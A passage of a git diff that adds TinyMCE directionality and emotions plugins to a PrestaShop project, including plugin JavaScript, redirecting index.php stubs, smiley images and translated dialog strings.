@copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/directionality/editor_plugin.js b/js/tiny_mce2/plugins/directionality/editor_plugin.js new file mode 100755 index 0000000..bce8e73 --- /dev/null +++ b/js/tiny_mce2/plugins/directionality/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Directionality",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceDirectionLTR",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="ltr"){a.dom.setAttrib(d,"dir","ltr")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addCommand("mceDirectionRTL",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="rtl"){a.dom.setAttrib(d,"dir","rtl")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"});a.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"});a.onNodeChange.add(c._nodeChange,c)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var d=b.dom,c;e=d.getParent(e,d.isBlock);if(!e){a.setDisabled("ltr",1);a.setDisabled("rtl",1);return}c=d.getAttrib(e,"dir");a.setActive("ltr",c=="ltr");a.setDisabled("ltr",0);a.setActive("rtl",c=="rtl");a.setDisabled("rtl",0)}});tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/directionality/editor_plugin_src.js b/js/tiny_mce2/plugins/directionality/editor_plugin_src.js new file mode 100755 index 0000000..205d02c --- /dev/null +++ b/js/tiny_mce2/plugins/directionality/editor_plugin_src.js @@ -0,0 +1,82 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Directionality', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + ed.addCommand('mceDirectionLTR', function() { + var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); + + if (e) { + if (ed.dom.getAttrib(e, "dir") != "ltr") + ed.dom.setAttrib(e, "dir", "ltr"); + else + ed.dom.setAttrib(e, "dir", ""); + } + + ed.nodeChanged(); + }); + + ed.addCommand('mceDirectionRTL', function() { + var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); + + if (e) { + if (ed.dom.getAttrib(e, "dir") != "rtl") + ed.dom.setAttrib(e, "dir", "rtl"); + else + ed.dom.setAttrib(e, "dir", ""); + } + + ed.nodeChanged(); + }); + + ed.addButton('ltr', {title : 'directionality.ltr_desc', cmd : 'mceDirectionLTR'}); + ed.addButton('rtl', {title : 'directionality.rtl_desc', cmd : 'mceDirectionRTL'}); + + ed.onNodeChange.add(t._nodeChange, t); + }, + + getInfo : function() { + return { + longname : 'Directionality', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _nodeChange : function(ed, cm, n) { + var dom = ed.dom, dir; + + n = dom.getParent(n, dom.isBlock); + if (!n) { + cm.setDisabled('ltr', 1); + cm.setDisabled('rtl', 1); + return; + } + + dir = dom.getAttrib(n, 'dir'); + cm.setActive('ltr', dir == "ltr"); + cm.setDisabled('ltr', 0); + cm.setActive('rtl', dir == "rtl"); + cm.setDisabled('rtl', 0); + } + }); + + // Register plugin + tinymce.PluginManager.add('directionality', tinymce.plugins.Directionality); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/directionality/index.php b/js/tiny_mce2/plugins/directionality/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/directionality/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/emotions/editor_plugin.js b/js/tiny_mce2/plugins/emotions/editor_plugin.js new file mode 100755 index 0000000..dbdd8ff --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/editor_plugin.js @@ -0,0 +1 @@ +(function(a){a.create("tinymce.plugins.EmotionsPlugin",{init:function(b,c){b.addCommand("mceEmotion",function(){b.windowManager.open({file:c+"/emotions.htm",width:250+parseInt(b.getLang("emotions.delta_width",0)),height:160+parseInt(b.getLang("emotions.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("emotions",{title:"emotions.emotions_desc",cmd:"mceEmotion"})},getInfo:function(){return{longname:"Emotions",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions",version:a.majorVersion+"."+a.minorVersion}}});a.PluginManager.add("emotions",a.plugins.EmotionsPlugin)})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/editor_plugin_src.js b/js/tiny_mce2/plugins/emotions/editor_plugin_src.js new file mode 100755 index 0000000..aeee199 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/editor_plugin_src.js @@ -0,0 +1,43 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function(tinymce) { + tinymce.create('tinymce.plugins.EmotionsPlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceEmotion', function() { + ed.windowManager.open({ + file : url + '/emotions.htm', + width : 250 + parseInt(ed.getLang('emotions.delta_width', 0)), + height : 160 + parseInt(ed.getLang('emotions.delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('emotions', {title : 'emotions.emotions_desc', cmd : 'mceEmotion'}); + }, + + getInfo : function() { + return { + longname : 'Emotions', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('emotions', tinymce.plugins.EmotionsPlugin); +})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/emotions.htm b/js/tiny_mce2/plugins/emotions/emotions.htm new file mode 100755 index 0000000..eb7a6b2 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/emotions.htm @@ -0,0 +1,42 @@ + + + + {#emotions_dlg.title} + + + + + +

    +
    {#emotions_dlg.title}:

    + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    {#emotions_dlg.usage}
    +
    + + diff --git a/js/tiny_mce2/plugins/emotions/img/index.php b/js/tiny_mce2/plugins/emotions/img/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-cool.gif b/js/tiny_mce2/plugins/emotions/img/smiley-cool.gif new file mode 100755 index 0000000..ba90cc3 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-cool.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-cry.gif b/js/tiny_mce2/plugins/emotions/img/smiley-cry.gif new file mode 100755 index 0000000..74d897a Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-cry.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-embarassed.gif b/js/tiny_mce2/plugins/emotions/img/smiley-embarassed.gif new file mode 100755 index 0000000..963a96b Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-embarassed.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-foot-in-mouth.gif b/js/tiny_mce2/plugins/emotions/img/smiley-foot-in-mouth.gif new file mode 100755 index 0000000..c7cf101 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-foot-in-mouth.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-frown.gif b/js/tiny_mce2/plugins/emotions/img/smiley-frown.gif new file mode 100755 index 0000000..716f55e Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-frown.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-innocent.gif b/js/tiny_mce2/plugins/emotions/img/smiley-innocent.gif new file mode 100755 index 0000000..334d49e Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-innocent.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-kiss.gif b/js/tiny_mce2/plugins/emotions/img/smiley-kiss.gif new file mode 100755 index 0000000..4efd549 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-kiss.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-laughing.gif b/js/tiny_mce2/plugins/emotions/img/smiley-laughing.gif new file mode 100755 index 0000000..82c5b18 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-laughing.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-money-mouth.gif b/js/tiny_mce2/plugins/emotions/img/smiley-money-mouth.gif new file mode 100755 index 0000000..ca2451e Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-money-mouth.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-sealed.gif b/js/tiny_mce2/plugins/emotions/img/smiley-sealed.gif new file mode 100755 index 0000000..fe66220 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-sealed.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-smile.gif b/js/tiny_mce2/plugins/emotions/img/smiley-smile.gif new file mode 100755 index 0000000..fd27edf Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-smile.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-surprised.gif b/js/tiny_mce2/plugins/emotions/img/smiley-surprised.gif new file mode 100755 index 0000000..0cc9bb7 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-surprised.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-tongue-out.gif b/js/tiny_mce2/plugins/emotions/img/smiley-tongue-out.gif new file mode 100755 index 0000000..2075dc1 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-tongue-out.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-undecided.gif b/js/tiny_mce2/plugins/emotions/img/smiley-undecided.gif new file mode 100755 index 0000000..bef7e25 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-undecided.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-wink.gif b/js/tiny_mce2/plugins/emotions/img/smiley-wink.gif new file mode 100755 index 0000000..0631c76 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-wink.gif differ diff --git a/js/tiny_mce2/plugins/emotions/img/smiley-yell.gif b/js/tiny_mce2/plugins/emotions/img/smiley-yell.gif new file mode 100755 index 0000000..648e6e8 Binary files /dev/null and b/js/tiny_mce2/plugins/emotions/img/smiley-yell.gif differ diff --git a/js/tiny_mce2/plugins/emotions/index.php b/js/tiny_mce2/plugins/emotions/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/emotions/js/emotions.js b/js/tiny_mce2/plugins/emotions/js/emotions.js new file mode 100755 index 0000000..f73516c --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/js/emotions.js @@ -0,0 +1,43 @@ +tinyMCEPopup.requireLangPack(); + +var EmotionsDialog = { + addKeyboardNavigation: function(){ + var tableElm, cells, settings; + + cells = tinyMCEPopup.dom.select("a.emoticon_link", "emoticon_table"); + + settings ={ + root: "emoticon_table", + items: cells + }; + cells[0].tabindex=0; + tinyMCEPopup.dom.addClass(cells[0], "mceFocus"); + if (tinymce.isGecko) { + cells[0].focus(); + } else { + setTimeout(function(){ + cells[0].focus(); + }, 100); + } + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', settings, tinyMCEPopup.dom); + }, + init : function(ed) { + tinyMCEPopup.resizeToInnerSize(); + this.addKeyboardNavigation(); + }, + + insert : function(file, title) { + var ed = tinyMCEPopup.editor, dom = ed.dom; + + tinyMCEPopup.execCommand('mceInsertContent', false, dom.createHTML('img', { + src : tinyMCEPopup.getWindowArg('plugin_url') + '/img/' + file, + alt : ed.getLang(title), + title : ed.getLang(title), + border : 0 + })); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(EmotionsDialog.init, EmotionsDialog); diff --git a/js/tiny_mce2/plugins/emotions/js/index.php b/js/tiny_mce2/plugins/emotions/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/emotions/langs/ar_dlg.js b/js/tiny_mce2/plugins/emotions/langs/ar_dlg.js new file mode 100755 index 0000000..80f9402 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.emotions_dlg',{cry:"\u0628\u0643\u0627\u0621",cool:"\u062c\u064a\u062f",desc:"\u0627\u0644\u0648\u0633\u0648\u0645",title:"\u0627\u0636\u0627\u0641\u0647 \u0648\u0633\u0645 \u062a\u0639\u0628\u064a\u0631\u0649",yell:"\u064a\u0635\u064a\u062d",wink:"\u063a\u0645\u0632\u0629",undecided:"\u0628\u0639\u062f","tongue_out":"\u0627\u0644\u0644\u0633\u0627\u0646 \u062e\u0627\u0631\u062c",surprised:"\u0645\u0646\u062f\u0647\u0634\u0629",smile:"\u0627\u0628\u062a\u0633\u0627\u0645\u0629",sealed:"\u0627\u0644\u0645\u062e\u062a\u0648\u0645\u0629","money_mouth":"\u0645\u062d\u0628 \u0627\u0644\u0645\u0627\u0644",laughing:"\u0627\u0644\u0636\u062d\u0643",kiss:"\u0642\u0628\u0644\u0647",innocent:"\u0627\u0644\u0628\u0631\u0627\u0621\u0647",frown:"\u0627\u0644\u062a\u062c\u0647\u0645","foot_in_mouth":"\u062d\u0630\u0627\u0621 \u0641\u0649 \u0627\u0644\u0641\u0645 (\u0627\u062e\u0631\u0633)",embarassed:"\u0627\u062d\u0631\u0627\u062c",usage:"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0623\u0633\u0647\u0645 \u0627\u0644\u0623\u064a\u0645\u0646 \u0648\u0627\u0644\u0623\u064a\u0633\u0631 \u0644\u0644\u062a\u0646\u0642\u0644."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/az_dlg.js b/js/tiny_mce2/plugins/emotions/langs/az_dlg.js new file mode 100755 index 0000000..919ef50 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.emotions_dlg',{cry:"A\u011flay\u0131r",cool:"Bomba",desc:"Smayllar",title:"Smayl \u0259lav\u0259 et",yell:"Ba\u011f\u0131r\u0131r",wink:"G\u00f6z vurur",undecided:"Q\u0259rars\u0131zl\u0131qda","tongue_out":"Dil g\u00f6st\u0259rir",surprised:"T\u0259\u0259c\u00fcbl\u0259nib",smile:"G\u00fcl\u00fcms\u0259yir",sealed:"M\u00f6h\u00fcrl\u0259nib","money_mouth":"\u00c7oxlu pul",laughing:"G\u00fcl\u00fcr",kiss:"\u00d6p\u00fc\u015f",innocent:"G\u00fcnahs\u0131z",frown:"Qa\u015fqabaql\u0131","foot_in_mouth":"Ayaqlar_m\u0259nim_a\u011fz\u0131ma!",embarassed:"Mat qalm\u0131\u015f"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/bg_dlg.js b/js/tiny_mce2/plugins/emotions/langs/bg_dlg.js new file mode 100755 index 0000000..b15ff1c --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.emotions_dlg',{cry:"Cry",cool:"Cool",desc:"\u0415\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438",title:"\u0412\u043c\u044a\u043a\u043d\u0438 \u0435\u043c\u043e\u0442\u0438\u043a\u043e\u043d",yell:"Yell",wink:"Wink",undecided:"Undecided","tongue_out":"Tongue out",surprised:"Surprised",smile:"Smile",sealed:"Sealed","money_mouth":"Money mouth",laughing:"Laughing",kiss:"Kiss",innocent:"Innocent",frown:"Frown","foot_in_mouth":"Foot in mouth",embarassed:"Embarassed",usage:"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 \u0441\u0442\u0440\u0435\u043b\u043a\u0438\u0442\u0435 \u043d\u0430\u043b\u044f\u0432\u043e \u0438 \u043d\u0430\u0434\u044f\u0441\u043d\u043e, \u0437\u0430 \u0434\u0430 \u0438\u0437\u0431\u0435\u0440\u0435\u0442\u0435 \u043d\u044f\u043a\u043e\u044f \u0435\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u043a\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/ca_dlg.js b/js/tiny_mce2/plugins/emotions/langs/ca_dlg.js new file mode 100755 index 0000000..6aaba39 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.emotions_dlg',{cry:"Plorant",cool:"Guai",desc:"Emoticones",title:"Insereix una emoticona",yell:"Cridant",wink:"Fent l\'ullet",undecided:"Indec\u00eds","tongue_out":"Llengua a fora",surprised:"Sorpr\u00e8s",smile:"Somriure",sealed:"Censurat","money_mouth":"Amb fam de diners",laughing:"Rient",kiss:"Pet\u00f3",innocent:"Innocent",frown:"Arrufant les celles","foot_in_mouth":"Amb un peu a la boca",embarassed:"Avergonyit",usage:"Feu servir fletxes esquerra i dreta per navegar"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/cs_dlg.js b/js/tiny_mce2/plugins/emotions/langs/cs_dlg.js new file mode 100755 index 0000000..625608b --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.emotions_dlg',{cry:"Pla\u010d\u00edc\u00ed",cool:"\u00da\u017easn\u00fd",desc:"Emotikony",title:"Vlo\u017eit emotikonu",yell:"K\u0159i\u010d\u00edc\u00ed",wink:"Mrkaj\u00edc\u00ed",undecided:"Nerozhodn\u00fd","tongue_out":"S vyplazen\u00fdm jazykem",surprised:"P\u0159ekvapen\u00fd",smile:"Usm\u00edvaj\u00edc\u00ed se",sealed:"Ml\u010d\u00edc\u00ed","money_mouth":"Je na prachy",laughing:"Sm\u011bj\u00edc\u00ed se",kiss:"L\u00edbaj\u00edc\u00ed",innocent:"Nevinn\u00fd",frown:"Zamra\u010den\u00fd","foot_in_mouth":"\u0160l\u00e1pnul vedle",embarassed:"Rozpa\u010dit\u00fd",usage:"Pro navigaci pou\u017eijte \u0161ipky vlevo a vpravo."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/da_dlg.js b/js/tiny_mce2/plugins/emotions/langs/da_dlg.js new file mode 100755 index 0000000..165137e --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.emotions_dlg',{cry:"Gr\u00e6de",cool:"Cool",desc:"Hum\u00f8rikoner",title:"Inds\u00e6t hum\u00f8rikon",yell:"R\u00e5be",wink:"Vink",undecided:"Ubeslutsom","tongue_out":"Tunge ud",surprised:"Overrasket",smile:"Smil",sealed:"Lukket","money_mouth":"Pengemund",laughing:"Grine",kiss:"Kys",innocent:"Uskyldig",frown:"Forskr\u00e6kket","foot_in_mouth":"Fod i munden",embarassed:"Flov",usage:"Brug venstre og h\u00f8jre piletaster til at navigere"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/de_dlg.js b/js/tiny_mce2/plugins/emotions/langs/de_dlg.js new file mode 100755 index 0000000..9ef427c --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.emotions_dlg',{cry:"Weinend",cool:"Cool",desc:"Smilies",title:"Smiley einf\u00fcgen",yell:"Br\u00fcllend",wink:"Zwinkernd",undecided:"Unentschlossen","tongue_out":"Zunge raus",surprised:"\u00dcberrascht",smile:"L\u00e4chelnd",sealed:"Verschlossen","money_mouth":"Geld",laughing:"Lachend",kiss:"K\u00fcssend",innocent:"Unschuldig",frown:"Stirnrunzelnd","foot_in_mouth":"Reingefallen",embarassed:"Verlegen",usage:"Navigation mit linken und rechten Pfeilen."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/el_dlg.js b/js/tiny_mce2/plugins/emotions/langs/el_dlg.js new file mode 100755 index 0000000..cdca664 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.emotions_dlg',{cry:"\u0394\u03b1\u03ba\u03c1\u03c5\u03c3\u03bc\u03ad\u03bd\u03bf\u03c2",cool:"\u0386\u03bd\u03b5\u03c4\u03bf\u03c2",desc:"\u03a3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03b1",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03bf\u03c2",yell:"\u03a6\u03c9\u03bd\u03ac\u03b6\u03c9",wink:"\u039a\u03bb\u03b5\u03af\u03c3\u03b9\u03bc\u03bf \u03bc\u03b1\u03c4\u03b9\u03bf\u03cd",undecided:"\u0391\u03bd\u03b1\u03c0\u03bf\u03c6\u03ac\u03c3\u03b9\u03c3\u03c4\u03bf\u03c2","tongue_out":"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 \u03ad\u03be\u03c9",surprised:"\u0388\u03ba\u03c0\u03bb\u03b7\u03ba\u03c4\u03bf\u03c2",smile:"\u03a7\u03b1\u03bc\u03cc\u03b3\u03b5\u03bb\u03bf",sealed:"\u03a3\u03c6\u03c1\u03b1\u03b3\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf \u03c3\u03c4\u03cc\u03bc\u03b1","money_mouth":"\u039b\u03b5\u03c6\u03c4\u03ac \u03c9\u03c2 \u03c3\u03c4\u03cc\u03bc\u03b1",laughing:"\u0393\u03ad\u03bb\u03b9\u03bf",kiss:"\u03a6\u03b9\u03bb\u03af",innocent:"\u0391\u03b8\u03ce\u03bf\u03c2",frown:"\u039a\u03b1\u03c4\u03c3\u03bf\u03c5\u03c6\u03b9\u03b1\u03c3\u03bc\u03ad\u03bd\u03bf\u03c2","foot_in_mouth":"\u039a\u03bb\u03c9\u03c4\u03c3\u03b9\u03ac \u03c3\u03c4\u03bf \u03c3\u03c4\u03cc\u03bc\u03b1",embarassed:"\u0391\u03bc\u03ae\u03c7\u03b1\u03bd\u03bf\u03c2",usage:"Use left and right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/en_dlg.js b/js/tiny_mce2/plugins/emotions/langs/en_dlg.js new file mode 100755 index 0000000..f5aafc3 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.emotions_dlg',{cry:"Cry",cool:"Cool",desc:"Emotions",title:"Insert Emotion",yell:"Yell",wink:"Wink",undecided:"Undecided","tongue_out":"Tongue Out",surprised:"Surprised",smile:"Smile",sealed:"Sealed","money_mouth":"Money Mouth",laughing:"Laughing",kiss:"Kiss",innocent:"Innocent",frown:"Frown","foot_in_mouth":"Foot in Mouth",embarassed:"Embarassed",usage:"Use left and right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/es_dlg.js b/js/tiny_mce2/plugins/emotions/langs/es_dlg.js new file mode 100755 index 0000000..bdff36a --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.emotions_dlg',{cry:"Llora",cool:"Todo bien",desc:"Emoticones",title:"Insertar emoticon",yell:"Enfadado",wink:"Gui\u00f1o",undecided:"Indeciso","tongue_out":"Lengua fuera",surprised:"Sorprendido",smile:"Sonrisa",sealed:"Sellado","money_mouth":"Dinero boca",laughing:"Risa",kiss:"Beso",innocent:"Inocente",frown:"Triste","foot_in_mouth":"Pie en la boca",embarassed:"Verg\u00fcenza",usage:"Use las flechas para navegar"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/et_dlg.js b/js/tiny_mce2/plugins/emotions/langs/et_dlg.js new file mode 100755 index 0000000..1b1d632 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.emotions_dlg',{cry:"Nutt",cool:"Lahe",desc:"Emotsioonid",title:"Sisesta emotsioon",yell:"Karje",wink:"Silmapilgutus",undecided:"K\u00f5hklev","tongue_out":"Keel v\u00e4ljas",surprised:"\u00dcllatunud",smile:"Naeratus",sealed:"Suletud","money_mouth":"Rahasuu",laughing:"Naermine",kiss:"Suudlus",innocent:"S\u00fc\u00fctu",frown:"Kulmu kortsutamine","foot_in_mouth":"Jalg suus",embarassed:"H\u00e4bitunne",usage:"Kasuta navigeerimiseks vasak ja parem nooli."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/fa_dlg.js b/js/tiny_mce2/plugins/emotions/langs/fa_dlg.js new file mode 100755 index 0000000..9b43b48 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.emotions_dlg',{cry:"\u06af\u0631\u06cc\u0647",cool:"\u0622\u0631\u0627\u0645",desc:"\u0634\u06a9\u0644\u06a9 \u0647\u0627",title:"\u062f\u0631\u062c \u0634\u06a9\u0644\u06a9",yell:"\u0641\u0631\u06cc\u0627\u062f",wink:"\u0686\u0634\u0645\u06a9",undecided:"\u0645\u0631\u062f\u062f","tongue_out":"\u0632\u0628\u0627\u0646 \u062f\u0631\u0627\u0632\u06cc",surprised:"\u0645\u062a\u0639\u062c\u0628",smile:"\u0644\u0628\u062e\u0646\u062f",sealed:"\u0645\u0647\u0631 \u0634\u062f\u0647","money_mouth":"\u067e\u0648\u0644 \u062f\u0631 \u062f\u0647\u0627\u0646",laughing:"\u062e\u0646\u062f\u0647",kiss:"\u0628\u0648\u0633\u0647",innocent:"\u0628\u06cc \u062a\u0642\u0635\u06cc\u0631",frown:"\u0627\u062e\u0645","foot_in_mouth":"\u067e\u0627 \u062f\u0631 \u062f\u0647\u0627\u0646",embarassed:"\u062e\u062c\u0627\u0644\u062a\u06cc",usage:"Use left and 